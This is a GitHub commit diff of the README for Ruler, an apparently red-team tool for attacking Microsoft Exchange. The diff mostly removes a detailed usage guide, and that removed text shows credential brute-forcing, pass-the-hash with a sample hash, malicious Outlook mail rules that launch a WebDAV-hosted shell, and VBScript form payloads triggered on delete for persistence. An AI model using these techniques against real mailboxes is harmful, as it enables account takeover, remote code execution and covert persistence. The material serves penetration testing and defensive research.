Skip to content

Commit 3d4d44b

Browse files
authored
Update README
Add links to the Wiki and clean-up the readme
1 parent 65926cd commit 3d4d44b

1 file changed

Lines changed: 24 additions & 342 deletions

File tree

README.md

Lines changed: 24 additions & 342 deletions
Original file line numberDiff line numberDiff line change
@@ -1,10 +1,11 @@
11
# Introduction
22

3-
Ruler is a tool that allows you to interact with Exchange servers remotely, through either the MAPI/HTTP or RPC/HTTP protocol. The main aim is abuse the client-side Outlook mail rules as described in: [Silentbreak blog]
3+
Ruler is a tool that allows you to interact with Exchange servers remotely, through either the MAPI/HTTP or RPC/HTTP protocol. The main aim is abuse the client-side Outlook features and gain a shell remotely.
44

5-
Silentbreak did a great job with this attack and it has served us well. The only downside has been that it takes time to get setup. Cloning a mailbox into a new instance of Outlook can be time consuming. And then there is all the clicking it takes to get a mailrule created. Wouldn't the command line version of this attack be great? And that is how Ruler was born.
6-
7-
The full low-down on how Ruler was implemented and some background regarding MAPI can be found in our blog posts: [Ruler release], [Pass the Hash with Ruler], [Outlook forms and shells].
5+
The full low-down on how Ruler was implemented and some background regarding MAPI can be found in our blog posts:
6+
* [Ruler release]
7+
* [Pass the Hash with Ruler]
8+
* [Outlook forms and shells].
89

910
For a demo of it in action: [Ruler on YouTube]
1011

@@ -13,364 +14,45 @@ For a demo of it in action: [Ruler on YouTube]
1314
Ruler has multiple functions and more are planned. These include
1415

1516
* Enumerate valid users
16-
* View currently configured mail rules
1717
* Create new malicious mail rules
18-
* Delete mail rules
1918
* Dump the Global Address List (GAL)
2019
* VBScript execution through forms
2120

2221
Ruler attempts to be semi-smart when it comes to interacting with Exchange and uses the Autodiscover service (just as your Outlook client would) to discover the relevant information.
2322

24-
# Pre-built Binaries
23+
# Getting Started
2524

2625
Compiled binaries for Linux, OSX and Windows are available. Find these in [Releases]
26+
information about setting up Ruler from source is found in the [getting-started guide].
2727

28+
# Usage
2829

29-
# Getting the Code
30-
31-
Ruler is written in Go so you'll need to have [Go setup](https://golang.org/doc/install) to run/build the project from source. The easiest way to get up and running from source is through ```go get```.
32-
33-
Get it through Go:
34-
```
35-
go get github.com/sensepost/ruler
36-
```
37-
38-
You can now run the app through ```go run``` in the GOPATH/src/github.com/sensepost/ruler directory:
39-
```
40-
go run ruler.go -h
41-
```
42-
43-
### Or build it:
44-
45-
When building you'll need to have your [GOPATH correctly configured](https://golang.org/doc/install).
46-
47-
The first step as always is to clone the repo. Here it is probably best to clone into ```$GOPATH/src/github.com/sensepost/ruler``` this saves you from having to change a whole bunch of paths. If you are cloning into a different directory, remember you'll need to change all references to ```github.com/sensepost/ruler``` in the imports.
48-
49-
```
50-
git clone https://github.com/sensepost/ruler.git
51-
```
52-
53-
Ensure you have the dependencies (go get is the easiest option, otherwise clone the repos into your GOPATH):
54-
```
55-
go get github.com/urfave/cli
56-
go get github.com/howeyc/gopass
57-
go get github.com/staaldraad/go-ntlm/ntlm
58-
```
59-
Then build it
60-
```
61-
go build
62-
```
63-
64-
65-
# Interacting with Exchange
66-
67-
Ruler works with both RPC/HTTP and MAPI/HTTP. Ruler favours MAPI/HTTP as this is the default in Exchange 2016 and Office365 deployments. If MAPI/HTTP fails, an attempt will be made to use RPC/HTTP. You can also force RPC/HTTP by supplying the ```--rpc``` flag.
68-
69-
As mentioned before there are multiple functions to Ruler. In most cases you'll want to first find a set of valid credentials. Do this however you wish, Phishing, Wifi+Mana or brute-force.
70-
71-
# Basic Usage
72-
73-
Ruler has 8 basic commands, these are:
74-
75-
* display -- list all the current rules
76-
* add -- add a rule
77-
* delete -- delete a rule
78-
* brute -- brute force credentials
79-
* send -- send an email to trigger the shell
80-
* abk -- interact with the GAL (MAPI/HTTP only)
81-
* form -- script execution through custom forms
82-
* help -- show the help screen
83-
84-
There are a few global flags that should be used with most commands, while each command has sub-flags. For details on these, use the **help** command.
85-
86-
```
87-
NAME:
88-
ruler - A tool to abuse Exchange Services
89-
90-
USAGE:
91-
ruler-linux64 [global options] command [command options] [arguments...]
92-
93-
VERSION:
94-
2.0.17
95-
96-
DESCRIPTION:
97-
_
98-
_ __ _ _| | ___ _ __
99-
| '__| | | | |/ _ \ '__|
100-
| | | |_| | | __/ |
101-
|_| \__,_|_|\___|_|
102-
103-
A tool by @_staaldraad from @sensepost to abuse Exchange Services.
104-
105-
AUTHOR:
106-
Etienne Stalmans <etienne@sensepost.com>, @_staaldraad
107-
108-
```
109-
110-
## Brute-force for credentials
111-
112-
If you go the brute-force route, Ruler is your friend. It has a built-in brute-forcer which does a semi-decent job of finding creds.
113-
114-
```
115-
./ruler --domain targetdomain.com brute --users /path/to/user.txt --passwords /path/to/passwords.txt
116-
```
117-
You should see your brute-force in action:
118-
119-
```
120-
./ruler --domain evilcorp.ninja --insecure brute --users ~/users.txt --passwords ~/passwords.txt --delay 0 --verbose
121-
122-
[*] Starting bruteforce
123-
[x] Failed: cindy.baker:P@ssw0rd
124-
[x] Failed: henry.hammond:P@ssw0rd
125-
[x] Failed: john.ford:P@ssw0rd
126-
[x] Failed: cindy.baker:August2016
127-
[x] Failed: henry.hammond:August2016
128-
[+] Success: john.ford:August2016
129-
[*] Multiple attempts. To prevent lockout - delaying for 0 minutes.
130-
[x] Failed: cindy.baker:Evilcorp@2016
131-
[x] Failed: henry.hammond:Evilcorp@2016
132-
[x] Failed: cindy.baker:3V1lc0rp
133-
[x] Failed: henry.hammond:3V1lc0rp
134-
[*] Multiple attempts. To prevent lockout - delaying for 0 minutes.
135-
[x] Failed: henry.hammond:Password1
136-
[+] Success: cindy.baker:Password1
137-
```
138-
139-
Alternatively, you can specify a userpass file with the ```--userpass``` option. The userpass file should be colon-delimited with one pair of credentials per line:
140-
141-
```
142-
$ cat userpass.txt
143-
john.ford:August2016
144-
henry.hammond:Password!2016
145-
cindy.baker:Password1
146-
147-
./ruler --domain evilcorp.ninja --insecure brute --userpass userpass.txt -v
148-
149-
[*] Starting bruteforce
150-
[+] Success: john.ford:August2016
151-
[x] Failed: henry.hammond:Password!2016
152-
[+] Success: cindy.baker:Password1
153-
```
154-
155-
There are a few other flags that work with ```brute```
156-
157-
These are:
158-
* --stop _//stop on the first valid username:password combo_
159-
* --delay _//how long to wait between multiple password guesses_
160-
* --attempts _//how many attempts before we delay (attempts per user)_
161-
* --insecure _//if the Exchange server has a bad SSL cerificate_
162-
* --verbose _//be verbose and show failed attempts_
163-
164-
## The autodiscover service
165-
While Ruler makes a best effort to "autodiscover" the necessary settings, you may still run into instances of it failing. The common causes are:
166-
* autodiscover deployed over http and not https (we default to https as this is more common)
167-
* No autodiscover DNS record
168-
* Authentication failing
169-
170-
If you encounter an Exchange server where the Autodiscover service is failing, you can manually specify the Autodiscover URL:
171-
172-
```
173-
./ruler --url http://autodiscover.somedomain.com/autodiscover/autodiscover.xml
174-
```
175-
176-
If you run into issues with Authentication (and you know the creds are correct), you can try and force the use of basic authentication with the global ```--basic```
177-
178-
The global ```--verbose``` flag will also give you some insight into the process being used by the autodiscover service.
179-
180-
### --domain is not needed
181-
182-
Another interesting thing to note, is that Ruler doesn't require the ```--domain``` for authentication or autodiscover in most cases. The autodiscover service works off the email addresses domain. If you find that authentication is failing, it might mean that you require the internal domain name as part of the authentication string. For this, you will need to add ```--domain DOMAIN``` to your requests. This will ensure that NTLM auth does ```DOMAIN\USERNAME``` in the authentication sequence, instead of ```.\USERNAME```.
183-
184-
Basic rule, use ```--domain``` with bruteforce (it uses this to figure out the autodiscover URL), otherwise leave it off.
185-
186-
## PtH - Passing the hash
187-
188-
Ruler has support for PtH attacks, allowing you to reuse valid NTLM hashes (think responder, mimikatz, mana-eap) instead of a password. Simply provide the hash instead of a password and you are good to go. To provide the hash, use the global flag ```--hash```.
189-
190-
```
191-
./ruler --username validuser --hash 71bc15c57d836a663ed0b02631d300be --email user@domain.com display
192-
```
193-
194-
## Display existing rules / verify account
195-
196-
Once you have a set of credentials you can target the user's mailbox. Here you'll need to know their email address (address book searching is in the planned extension).
197-
198-
```
199-
./ruler --email user@targetdomain.com --username username --password password display
200-
```
30+
Ruler has multiple functions, these have their own documentation that can be found in the [wiki]:
20131

202-
Output:
32+
* [BruteForce] -- discover valid user accounts
33+
* [Rules] -- perform the traditional, rule based attack
34+
* [Forms] -- execute VBScript through forms
35+
* [GAL] -- grab the Global Address List
20336

204-
```
205-
./ruler --username john.ford --password August2016 --email john.ford@evilcorp.ninja display
206-
[*] Retrieving MAPI info
207-
[*] Doing Autodiscover for domain
208-
[+] MAPI URL found: https://mail.evilcorp.ninja/mapi/emsmdb/?MailboxId=7bb476d4-8e1f-4a57-bbd8-beac7912fb77@evilcorp.ninja
209-
[+] User DN: /o=Evilcorp/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Recipients/cn=beb65f5c92f74b868c138f7bcec7bfb8-John Ford
210-
[*] Got Context, Doing ROPLogin
211-
[*] And we are authenticated
212-
[*] Openning the Inbox
213-
[+] Retrieving Rules
214-
[+] Found 0 rules
215-
```
216-
217-
## Delete existing rules (clean up after yourself)
218-
To delete rules, use either the ruleId displayed next to the rule name (000000df1), or the rule name. You will be prompted to verify the rule being deleted if you supply only the name.
219-
220-
```
221-
./ruler --email user@targetdomain.com --username username delete --id 000000df1
222-
```
223-
224-
```
225-
./ruler --email user@targetdomain.com --username username delete --name myrule
226-
```
227-
228-
229-
# Popping a shell
230-
231-
Now the fun part. Your initial setup is the same as outlined in the [Silentbreak blog], setup your webdav server to host your payload. A basic webdav server is included in this repostitory. This can be found [here](https://github.com/sensepost/ruler/blob/master/webdav/webdavserv.go). To use this,
232-
233-
```
234-
go run webdavserv.go -d /path/to/directory/to/serve
235-
```
236-
237-
## Create a Rule
238-
To create the new rule user Ruler and:
239-
240-
```
241-
./ruler --email user@targetdomain.com --username username add --location "\\\\yourserver\\webdav\\shell.bat" --trigger "popashell" --name maliciousrule
242-
```
243-
244-
The various parts:
245-
* `--location` _this is the location of your remote shell *note the double slashes* (or c:/Windows/system32/calc.exe)_
246-
* `--trigger` _the string within the subject you want to trigger the rule_
247-
* `--name` _a name for your rule_
248-
249-
250-
Output:
251-
```
252-
[*] Retrieving MAPI info
253-
[*] Doing Autodiscover for domain
254-
[+] MAPI URL found: https://mail.evilcorp.ninja/mapi/emsmdb/?MailboxId=7bb476d4-8e1f-4a57-bbd8-beac7912fb77@evilcorp.ninja
255-
[+] User DN: /o=Evilcorp/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Recipients/cn=beb65f5c92f74b868c138f7bcec7bfb8-John Ford
256-
[*] Got Context, Doing ROPLogin
257-
[*] And we are authenticated
258-
[*] Openning the Inbox
259-
[*] Adding Rule
260-
[*] Rule Added. Fetching list of rules...
261-
[+] Found 1 rules
262-
Rule: shell RuleID: 01000000127380b1
263-
```
264-
265-
You should now be able to send an email to your target with the trigger string in the subject line. From testing the mailrule is synchronised across nearly instantaniously, so in most cases you should be able to get a shell almost immediatly, assuming outlook is open and connected.
266-
267-
# Semi-Autopwn
268-
269-
If you want to automate the triggering of the rule, Ruler is able to create a new message in the user's inbox, using their own email address. This means you no longer need to send an email to your target. Simply use the ```--send``` flag when creating your rule, and Ruler will wait 30seconds for your rules to synchronise (adjust this in the source if you think 30s is too long/short) and then send an email via MAPI.
270-
271-
To customise the email sent with the ```--send``` flag, you can use ```--subject``` to specify a custom subject (remember to include your trigger word in the subject). Customise the body with ```--body```
272-
273-
```
274-
...
275-
[*] Adding Rule
276-
[*] Rule Added. Fetching list of rules...
277-
[+] Found 1 rules
278-
Rule: autopop RuleID: 010000000c4baa84
279-
[*] Auto Send enabled, wait 30 seconds before sending email (synchronisation)
280-
[*] Sending email
281-
[*] Message sent, your shell should trigger shortly.
282-
[*] And disconnecting from server
283-
```
284-
285-
If you want to send the email manually, using the targets own email address, you can also call the ```send``` command directly.
286-
287-
```
288-
./ruler --email user@targetdomain.com send --subject test --body "this is a test"
289-
```
290-
291-
Enjoy your shell and don't forget to clean-up after yourself by deleting the rule (or leave it for persistence).
292-
293-
# Getting the GAL
294-
295-
The Global Address List contains a listing of all addresses stored in the organisational addressbook. If your target is accessible through MAPI/HTTP you can list or download the GAL.
296-
297-
To list:
298-
299-
```
300-
./ruler --email user@targetdomain.com abk list"
301-
```
302-
303-
This will display all entries on screen. Now there can be ALOT of entries, so it's probably more useful to dump this list to file for offline parsing. To do this use the ```dump``` command.
304-
305-
```
306-
./ruler --email user@targetdomain.com abk dump --output /tmp/gal.txt
307-
```
308-
309-
# Forms
310-
311-
Ruler can also get shell through custom forms. This is especially useful for persistence, as a form can lie dormant in the inbox, nearly undetectable.
312-
313-
The basic premise behind forms is explained in the [Outlook forms and shells].
314-
315-
## Setup
316-
317-
If you use the forms attack, you need to ensure that the **templates** folder is present in the current working directory. Ruler will need the files contained in this directory. Please copy the following files into it:
318-
319-
* img0.bin
320-
* img1.bin
321-
* formstemplate.bin
322-
* formsdeletetemplate.bin
323-
324-
## Using forms
325-
326-
Unlike Rules, forms don't require a WebDAV instacnce and VBScript can be executed directly. A sample VBScript entry would be:
327-
328-
```
329-
CreateObject("Wscript.Shell").Run "calc.exe", 0, False
330-
```
331-
332-
The script needs to be supplied in either a file, or on the command line. To create a custom form:
333-
334-
```
335-
./ruler --email john@msf.com form add --suffix superduper --input /tmp/command.txt --send
336-
```
337-
338-
This will create a new form, of message class _IPM.Note.superduper_ and use the script found in _/tmp/command.txt_ as the VBScript to execute. Using ```--send``` simply task Ruler to send an email to the user, using their own account, and ensuring the correct message class is set (which triggers the form).
339-
340-
To trigger an existing form, you don't need send the email from the account that the form was created on. This is great for persistence, you simply need to have a valid Exchange based account (outlook.com is great) and know the suffix used for the form.
341-
342-
```
343-
./ruler --email alice@outlook.com form send --target john@msf.com --suffix superduper
344-
```
345-
346-
Deleting an existing is done in a similar way to deleting rules.
347-
348-
```
349-
./ruler --email john@msf.com form delete --suffix superduper
350-
```
351-
352-
### Trigger Form with a Rule
353-
354-
Nick Landers ([@monoxgas]) found that a form without event triggers, would call the VBScript payload on delete. This delete can be automated by creating a client-side rule to delete the message as it arrives in the mailbox.
355-
356-
This is a great way to auto-trigger the form, without requiring any user interaction. Ruler can automate this for you if you supply the ```--rule``` flag:
37+
# Attacking Exchange
35738

358-
```
359-
./ruler --email john@msf.com form add --suffix superduper --input /tmp/command.txt --rule --send
360-
```
39+
The library included with Ruler allows for the creation of custom message using MAPI. This along with the Exchnage documentation is a great starting point for new research. For an example of using this library in another project, see [SensePost Liniaal].
36140

362-
You will need to delete the newly created rule once your payload has triggered. This can be done using the delete command outlined [above].
41+
# License
42+
[![License: CC BY-NC-SA 4.0](https://img.shields.io/badge/License-CC%20BY--NC--SA%204.0-lightgrey.svg)](http://creativecommons.org/licenses/by-nc-sa/4.0/)
36343

364-
# Attacking Exchange
44+
Ruler is licensed under a Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License (http://creativecommons.org/licenses/by-nc-sa/4.0/) Permissions beyond the scope of this license may be available at http://sensepost.com/contact/.
36545

366-
The library included with Ruler allows for the creation of custom message using MAPI. This along with the Exchnage documentation is a great starting point for new research. For an example of using this library in another project, see [SensePost Liniaal].
36746

368-
[Silentbreak blog]: <https://silentbreaksecurity.com/malicious-outlook-rules/>
36947
[Ruler Release]: <https://sensepost.com/blog/2016/mapi-over-http-and-mailrule-pwnage/>
37048
[Pass the hash with Ruler]: <https://sensepost.com/blog/2017/pass-the-hash-with-ruler/>
37149
[Outlook forms and shells]: <https://sensepost.com/blog/2017/outlook-forms-and-shells/>
37250
[Ruler on YouTube]:<https://www.youtube.com/watch?v=C07GS4M8BZk>
37351
[Releases]: <https://github.com/sensepost/ruler/releases>
37452
[SensePost Liniaal]:<https://github.com/sensepost/liniaal>
375-
[@monoxgas]:<https://twitter.com/monoxgas>
376-
[above]:<https://github.com/sensepost/ruler#delete-existing-rules-clean-up-after--yourself>
53+
[wiki]:<https://github.com/sensepost/ruler/wiki>
54+
[BruteForce]:<https://github.com/sensepost/ruler/wiki/Brute-Force>
55+
[Rules]:<https://github.com/sensepost/ruler/wiki/Rules>
56+
[Forms]:<https://github.com/sensepost/ruler/wiki/Forms>
57+
[GAL]:<https://github.com/sensepost/ruler/wiki/GAL>
58+
[getting-started guide]:<https://github.com/sensepost/ruler/wiki/Getting-Started>

0 commit comments

Comments
 (0)